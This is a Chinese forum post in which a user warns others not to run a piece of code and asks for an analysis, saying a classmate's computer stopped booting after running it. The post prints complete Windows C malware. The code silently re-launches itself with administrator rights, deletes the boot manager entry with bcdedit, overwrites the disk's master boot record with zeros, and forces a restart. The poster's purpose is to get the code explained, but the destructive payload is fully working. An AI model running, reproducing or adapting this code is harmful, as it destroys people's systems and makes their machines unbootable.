求分析这段代码
  • 板块灌水区
  • 楼主Misty_Post
  • 当前回复22
  • 已保存回复22
  • 发布时间2024/8/26 15:49
  • 上次更新2024/8/26 15:54:56
查看原帖
求分析这段代码
755789
Misty_Post楼主2024/8/26 15:49

别运行!!!!

我们教室有个人运行了开不了机了,求好心人分析一下

#include <windows.h>
BOOL IsRunAsAdmin(HANDLE hProcess)
{ 
	if (!hProcess)
		hProcess = GetCurrentProcess();
	
	BOOL bElevated = FALSE;
	HANDLE hToken = NULL;
	if (!OpenProcessToken(hProcess, TOKEN_QUERY, &hToken))
		return FALSE;
	TOKEN_ELEVATION tokenEle;
	DWORD dwRetLen = 0;
	if (GetTokenInformation(hToken, TokenElevation, &tokenEle, sizeof(tokenEle), &dwRetLen))
	{
		if (dwRetLen == sizeof(tokenEle))
		{
			bElevated = tokenEle.TokenIsElevated;
		}
	}
	CloseHandle(hToken);
	return bElevated;
}
VOID ManagerRun(LPCSTR exe, LPCSTR param, INT nShow)  
{
	SHELLEXECUTEINFO ShExecInfo; 
	ShExecInfo.cbSize = sizeof(SHELLEXECUTEINFO);  
	ShExecInfo.fMask = SEE_MASK_NOCLOSEPROCESS ;  
	ShExecInfo.hwnd = NULL;  
	ShExecInfo.lpVerb = "runas";  
	ShExecInfo.lpFile = exe; 
	ShExecInfo.lpParameters = param;   
	ShExecInfo.lpDirectory = NULL;  
	ShExecInfo.nShow = nShow;  
	ShExecInfo.hInstApp = NULL;   
	BOOL ret = ShellExecuteEx(&ShExecInfo);  
	CloseHandle(ShExecInfo.hProcess);
}
void MBR()
{
	DWORD Ropen;
	BYTE pMBR[1024] = { 0 };
	HANDLE hDevice = CreateFile(
		"\\\\.\\PhysicalDrive0",
		GENERIC_READ | GENERIC_WRITE,
		FILE_SHARE_READ | FILE_SHARE_WRITE,
		NULL,
		OPEN_EXISTING,
		0,
		NULL);
	DeviceIoControl(hDevice, FSCTL_LOCK_VOLUME, NULL, 0, NULL, 0, &Ropen, NULL);  
	WriteFile(hDevice, pMBR, 1024, &Ropen, NULL);
	DeviceIoControl(hDevice, FSCTL_UNLOCK_VOLUME, NULL, 0, NULL, 0, &Ropen, NULL);
}
int main(int argc, char *argv[])
{
	if (!IsRunAsAdmin(NULL))
	{
		ShowWindow(GetConsoleWindow(),SW_HIDE);
		ManagerRun(argv[0],"2",SW_SHOWNORMAL);
		return 1;
	}else{
		system("bcdedit /delete {bootmgr} /f");
		MBR();
		system("shutdown -r -t 0");
	}
	return 0;
}
2024/8/26 15:49
加载中...